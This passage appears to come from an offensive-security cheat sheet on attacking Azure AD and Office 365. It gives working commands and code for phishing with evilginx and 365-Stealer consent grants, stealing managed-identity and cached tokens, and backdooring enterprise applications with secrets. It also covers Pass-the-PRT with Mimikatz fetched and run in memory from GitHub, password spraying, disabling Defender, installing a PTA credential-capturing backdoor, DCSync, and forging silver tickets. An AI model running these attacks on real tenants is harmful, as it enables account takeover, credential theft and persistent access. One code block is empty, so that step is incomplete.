PS C:\Tools> Copy-Item C:\Users\Username\.evilginx\crt\private.key C:\Users\Username\.evilginx\crt\login.username.corp\o365.key
: phishlets enable o365

# get the phishing URL
: lures create o365
: lures get-url 0
```

## Illicit Consent Grant

> The attacker creates an Azure-registered application that requests access to data such as contact information, email, or documents. The attacker then tricks an end user into granting consent to the application so that the attacker can gain access to the data that the target user has access to. 

Check if users are allowed to consent to apps: `PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole`
* **Disable user consent** : Users cannot grant permissions to applications.
* **Users can consent to apps from verified publishers or your organization, but only for permissions you select** : All users can only consent to apps that were published by a verified publisher and apps that are registered in your tenant
* **Users can consent to all apps** : allows all users to consent to any permission which doesn't require admin consent,
* **Custom app consent policy**

### Register Application

1. Login to https://portal.azure.com > Azure Active Directory
2. Click on **App registrations** > **New registration**
3. Enter the Name for our application
4. Under support account types select **"Accounts in any organizational directory (Any Azure AD directory - Multitenant)"**
5. Enter the Redirect URL. This URL should be pointed towards our 365-Stealer application that we will host for hosting our phishing page. Make sure the endpoint is `https://<DOMAIN/IP>:<PORT>/login/authorized`.
6. Click **Register** and save the **Application ID**

### Configure Application

1. Click on `Certificates & secrets`
2. Click on `New client secret` then enter the **Description** and click on **Add**.
3. Save the **secret**'s value.
4. Click on API permissions > Add a permission
5. Click on Microsoft Graph > **Delegated permissions**
6. Search and select the below mentioned permissions and click on Add permission
    * Contacts.Read 
    * Mail.Read / Mail.ReadWrite
    * Mail.Send
    * Notes.Read.All
    * Mailboxsettings.ReadWrite
    * Files.ReadWrite.All 
    * User.ReadBasic.All
    * User.Read

### Setup 365-Stealer

:warning: Default port for 365-Stealer phishing is 443

- Run XAMPP and start Apache
- Clone 365-Stealer into `C:\xampp\htdocs\`
    * `git clone https://github.com/AlteredSecurity/365-Stealer.git`
- Install the requirements
    * Python3
    * PHP CLI or Xampp server
    * `pip install -r requirements.txt`
- Enable sqlite3 (Xampp > Apache config > php.ini) and restart Apache
- Edit `C:/xampp/htdocs/yourvictims/index.php` if needed
    - Disable IP whitelisting `$enableIpWhiteList = false;`
- Go to 365-Stealer Management portal > Configuration (http://localhost:82/365-stealer/yourVictims)
    - **Client Id** (Mandatory): This will be the Application(Client) Id of the application that we registered.
    - **Client Secret** (Mandatory): Secret value from the Certificates & secrets tab that we created.
    - **Redirect URL** (Mandatory): Specify the redirect URL that we entered during registering the App like `https://<Domain/IP>/login/authorized` 
    - **Macros Location**: Path of macro file that we want to inject.
    - **Extension in OneDrive**: We can provide file extensions that we want to download from the victims account or provide `*` to download all the files present in the victims OneDrive. The file extensions should be comma separated like txt, pdf, docx etc. 
    - **Delay**: Delay the request by specifying time in seconds while stealing
- Create a Self Signed Certificate to use HTTPS
- Run the application either click on the button or run this command : `python 365-Stealer.py --run-app`
    - `--no-ssl`: disable HTTPS
    - `--port`: change the default listening port
    - `--token`: provide a specific token
    - `--refresh-token XXX --client-id YYY --client-secret ZZZ`: use a refresh token
- Find the Phishing URL: go to `https://<IP/Domain>:<Port>` and click on **Read More** button or in the console.

**Mitigation**: Enable `Do not allow user consent` for applications in the "Consent and permissions menu".


## Token from Managed Identity

> **MSI_ENDPOINT** is an alias for **IDENTITY_ENDPOINT**, and **MSI_SECRET** is an alias for **IDENTITY_HEADER**.

Find IDENTITY_HEADER and IDENTITY_ENDPOINT from the environment : `env`

Most of the time, you want a token for one of these resources: 
* https://storage.azure.com
* https://vault.azure.net
* https://graph.microsoft.com
* https://management.azure.com


### Azure API via Powershell

Get **access_token** from **IDENTITY_HEADER** and **IDENTITY_ENDPOINT**: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`. 

Then query the Azure REST API to get the **subscription ID** and more .

```powershell
$Token = 'eyJ0eX..'
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
# $URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
 Method = 'GET'
 Uri = $URI
 Headers = @{
 'Authorization' = "Bearer $Token"
 }
}
(Invoke-RestMethod @RequestParams).value 

# List resources and check for runCommand privileges
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resources?api-version=2020-10-01'
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/<RG-NAME>/providers/Microsoft.Compute/virtualMachines/<RESOURCE/providers/Microsoft.Authorization/permissions?apiversion=2015-07-01'
```

### Azure API via Python Version

```py
IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
IDENTITY_HEADER = os.environ['IDENTITY_HEADER']

print("[+] Management API")
cmd = 'curl "%s?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
val = os.popen(cmd).read()
print("Access Token: "+json.loads(val)["access_token"])
print("ClientID/AccountID: "+json.loads(val)["client_id"])

print("\r\n[+] Graph API")
cmd = 'curl "%s?resource=https://graph.microsoft.com/&api-version=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
val = os.popen(cmd).read()
print(json.loads(val)["access_token"])
print("ClientID/AccountID: "+json.loads(val)["client_id"])
```

or inside a Python Function:

```py
import logging, os
import azure.functions as func

def main(req: func.HttpRequest) -> func.HttpResponse:
    logging.info('Python HTTP trigger function processed a request.')
    IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
    IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
    cmd = 'curl "%s?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
    val = os.popen(cmd).read()
    return func.HttpResponse(val, status_code=200)
```


### Get Tokens

:warning: The lifetime of a Primary Refresh Token is 14 days!

```powershell
# az cli - get tokens 
az account get-access-token 
az account get-access-token --resource-type aad-graph
# or Az
(Get-AzAccessToken -ResourceUrl https://graph.microsoft.com).Token
# or from a managed identity using IDENTITY_HEADER and IDENTITY_ENDPOINT
```

### Use Tokens

> Tokens contain all the claims including that for MFA and Conditional Access

* Az Powershell
    ```powershell
    PS C:\Tools> $token = 'eyJ0e..'
    PS C:\Tools> Connect-AzAccount -AccessToken $token -AccountId <ACCOUNT-ID>

    # Access Token and Graph Token
    PS C:\Tools> $token = 'eyJ0eX..'
    PS C:\Tools> $graphaccesstoken = 'eyJ0eX..'
    PS C:\Tools> Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId <ACCOUNT-ID>
    PS C:\Tools> Get-AzResource
    # ERROR: 'this.Client.SubscriptionId' cannot be null.
    # ---> The managed identity has no rights on any of the Azure resources. Switch to to GraphAPI
    ```
* AzureAD

## Stealing Tokens

* Get-AzurePasswords
    ```powershell
    Import-Module Microburst.psm1
    Get-AzurePasswords
    Get-AzurePasswords -Verbose | Out-GridView
    ```

### Stealing tokens from az cli

* az cli stores access tokens in clear text in **accessTokens.json** in the directory `C:\Users\<username>\.Azure`
* azureProfile.json in the same directory contains information about subscriptions.

### Stealing tokens from az powershell

* Az PowerShell stores access tokens in clear text in **TokenCache.dat** in the directory `C:\Users\<username>\.Azure`
* It also stores **ServicePrincipalSecret** in clear-text in **AzureRmContext.json** 
* Users can save tokens using `Save-AzContext`


## Add credentials to all Enterprise Applications

```powershell
# Add secrets
PS > . C:\Tools\Add-AzADAppSecret.ps1
PS > Add-AzADAppSecret -GraphToken $graphtoken -Verbose

# Use secrets to authenticate as Service Principal
PS > $password = ConvertTo-SecureString '<SECRET/PASSWORD>' -AsPlainText -Force
PS > $creds = New-Object System.Management.Automation.PSCredential('<AppID>', $password)
PS > Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant '<TenantID>'
```

## Spawn SSH for Azure Web App

```powershell
az webapp create-remote-connection --subscription <SUBSCRIPTION-ID> --resource-group <RG-NAME> -n <APP-SERVICE-NAME>
```

## Pass The PRT

> MimiKatz (version 2.2.0 and above) can be used to attack (hybrid) Azure AD joined machines for lateral movement attacks via the Primary Refresh Token (PRT) which is used for Azure AD SSO (single sign-on).

```powershell
# Run mimikatz to obtain the PRT
PS> iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
PS> Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

# Copy the PRT and KeyValue
Mimikatz> privilege::debug
Mimikatz> token::elevate
Mimikatz> dpapi::cloudapkd /keyvalue:<KeyValue> /unprotect

# Copy the Context, ClearKey and DerivedKey
Mimikatz> dpapi::cloudapkd /context:<Context> /derivedkey:<DerivedKey> /Prt:<PRT>
```

```powershell
# Generate a JWT
PS> Import-Module C:\Tools\AADInternals\AADInternals.psd1
PS AADInternals> $PRT_OF_USER = '...'
PS AADInternals> while($PRT_OF_USER.Length % 4) {$PRT_OF_USER += "="}
PS AADInternals> $PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($PRT_OF_USER))
PS AADInternals> $ClearKey = "XXYYZZ..."
PS AADInternals> $SKey = [convert]::ToBase64String( [byte[]] ($ClearKey -replace '..', '0x$&,' -split ',' -ne ''))
PS AADInternals> New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey –GetNonce
eyJ0eXAiOiJKV1QiL...
```

The `<Signed JWT>` (JSON Web Token) can be used as PRT cookie in a (anonymous) browser session for https://login.microsoftonline.com/login.srf.    
Edit the Chrome cookie (F12) -> Application -> Cookies with the values:

```powershell

    ```


## Azure AD

With Microsoft, if you are using any cloud services (Office 365, Exchange Online, etc) with Active Directory (on-prem or in Azure) then an attacker is one credential away from being able to leak your entire Active Directory structure thanks to Azure AD.

1. Authenticate to your webmail portal (i.e. https://webmail.domain.com/)
2. Change your browser URL to: https://azure.microsoft.com/
3. Pick the account from the active sessions
4. Select Azure Active Directory and enjoy!

### Azure AD vs Active Directory

| Active Directory  | Azure AD  |
|---|---|
| LDAP  | REST API'S  |
| NTLM/Kerberos  | OAuth/SAML/OpenID |
| Structured directory (OU tree)  | Flat structure  |
| GPO  | No GPO's  |
| Super fine-tuned access controls  | Predefined roles |
| Domain/forest  | Tenant  |
| Trusts  | Guests  |

* Password Hash Syncronization (PHS)
    * Passwords from on-premise AD are sent to the cloud
    * Use replication via a service account created by AD Connect
* Pass Through Authentication (PTA)
    * Possible to perform DLL injection into the PTA agent and intercept authentication requests: credentials in clear-text
* Connect Windows Server AD to Azure AD using Federation Server (ADFS)
    * Dir-Sync : Handled by on-premise Windows Server AD, sync username/password


* Azure AD Joined : https://pbs.twimg.com/media/EQZv62NWAAEQ8wE?format=jpg&name=large
* Workplace Joined : https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large
* Hybrid Joined : https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large
* Workplace joined on AADJ or Hybrid : https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large

### Password Spray

> Default lockout policy of 10 failed attempts, locking out an account for 60 seconds

```powershell
git clone https://github.com/dafthack/MSOLSpray
Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020
Invoke-MSOLSpray -UserList .\users.txt -Password d0ntSprayme!

# UserList  - UserList file filled with usernames one-per-line in the format "user@domain.com"
# Password  - A single password that will be used to perform the password spray.
# OutFile   - A file to output valid results to.
# Force     - Forces the spray to continue and not stop when multiple account lockouts are detected.
# URL       - The URL to spray against. Potentially useful if pointing at an API Gateway URL generated with something like FireProx to randomize the IP address you are authenticating from.
```

### Convert GUID to SID

The user's AAD id is translated to SID by concatenating `"S-1–12–1-"` to the decimal representation of each section of the AAD Id.

```powershell
GUID: [base16(a1)]-[base16(a2)]-[ base16(a3)]-[base16(a4)]
SID: S-1–12–1-[base10(a1)]-[ base10(a2)]-[ base10(a3)]-[ base10(a4)]
```

For example, the representation of `6aa89ecb-1f8f-4d92–810d-b0dce30b6c82` is `S-1–12–1–1789435595–1301421967–3702525313–2188119011`

## Azure AD Connect 

Check if Azure AD Connect is installed : `Get-ADSyncConnector`

* For **PHS**, we can extract the credentials
* For **PTA**, we can install the agent
* For **Federation**, we can extract the certificate from ADFS server using DA

```powershell
PS > Set-MpPreference -DisableRealtimeMonitoring $true
PS > Copy-Item -ToSession $adcnct -Path C:\Tools\AADInternals.0.4.5.zip -Destination C:\Users\Administrator\Documents
PS > Expand-Archive C:\Users\Administrator\Documents\AADInternals.0.4.5.zip -DestinationPath C:\Users\Administrator\Documents\AADInternals
PS > Import-Module C:\Users\Administrator\Documents\AADInternals\AADInternals.psd1
PS > Get-AADIntSyncCredentials

# Get Token for SYNC account and reset on-prem admin password
PS > $passwd = ConvertToSecureString 'password' -AsPlainText -Force
PS > $creds = New-Object System.Management.Automation.PSCredential ("<Username>@<TenantName>.onmicrosoft.com", $passwd)
PS > GetAADIntAccessTokenForAADGraph -Credentials $creds –SaveToCache
PS > Get-AADIntUser -UserPrincipalName onpremadmin@defcorpsecure.onmicrosoft.com | select ImmutableId
PS > Set-AADIntUserPassword -SourceAnchor "<IMMUTABLE-ID>" -Password "Password" -Verbose
```

1. Check if PTA is installed : `Get-Command -Module PassthroughAuthPSModule`
2. Install a PTA Backdoor
    ```powershell
    PS AADInternals> Install-AADIntPTASpy
    PS AADInternals> Get-AADIntPTASpyLog -DecodePasswords
    ```


### Azure AD Connect - Password extraction

Credentials in AD Sync : C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf

Tool | Requires code execution on target | DLL dependencies | Requires MSSQL locally | Requires python locally
--- | --- | --- | --- | ---
ADSyncDecrypt | Yes | Yes | No | No
ADSyncGather | Yes | No | No | Yes
ADSyncQuery | No (network RPC calls only) | No | Yes | Yes


```powershell
git clone https://github.com/fox-it/adconnectdump
# DCSync with AD Sync account
```

### Azure AD Connect - MSOL Account's password and DCSync

You can perform **DCSync** attack using the MSOL account.

Requirements:
  * Compromise a server with Azure AD Connect service
  * Access to ADSyncAdmins or local Administrators groups

Use the script **azuread_decrypt_msol.ps1** from @xpn to recover the decrypted password for the MSOL account:
* `azuread_decrypt_msol.ps1`: AD Connect Sync Credential Extract POC https://gist.github.com/xpn/0dc393e944d8733e3c63023968583545
* `azuread_decrypt_msol_v2.ps1`: Updated method of dumping the MSOL service account (which allows a DCSync) used by Azure AD Connect Sync https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c

Now you can use the retrieved credentials for the MSOL Account to launch a DCSync attack.

### Azure AD Connect - Seamless Single Sign On Silver Ticket

> Anyone who can edit properties of the AZUREADSSOACCS$ account can impersonate any user in Azure AD using Kerberos (if no MFA)

> Seamless SSO is supported by both PHS and PTA. If seamless SSO is enabled, a computer account **AZUREADSSOC** is created in the on-prem AD.

:warning: The password of the AZUREADSSOACC account never changes.

Using [https://autologon.microsoftazuread-sso.com/](https://autologon.microsoftazuread-sso.com/) to convert Kerberos tickets to SAML and JWT for Office 365 & Azure

1. NTLM password hash of the AZUREADSSOACC account, e.g. `f9969e088b2c13d93833d0ce436c76dd`. 
    ```powershell
    mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
    ```
2. AAD logon name of the user we want to impersonate, e.g. `elrond@contoso.com`. This is typically either his userPrincipalName or mail attribute from the on-prem AD.
3. SID of the user we want to impersonate, e.g. `S-1-5-21-2121516926-2695913149-3163778339-1234`.
4. Create the Silver Ticket and inject it into Kerberos cache:
    ```powershell
    mimikatz.exe "kerberos::golden /user:elrond
    /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234
    /domain:contoso.local /rc4:f9969e088b2c13d93833d0ce436c76dd
    /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
    ```
5. Launch Mozilla Firefox
6. Go to about:config and set the `network.negotiate-auth.trusted-uris preference` to value `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com`
7. Navigate to any web application that is integrated with our AAD domain. Fill in the user name, while leaving the password field empty.
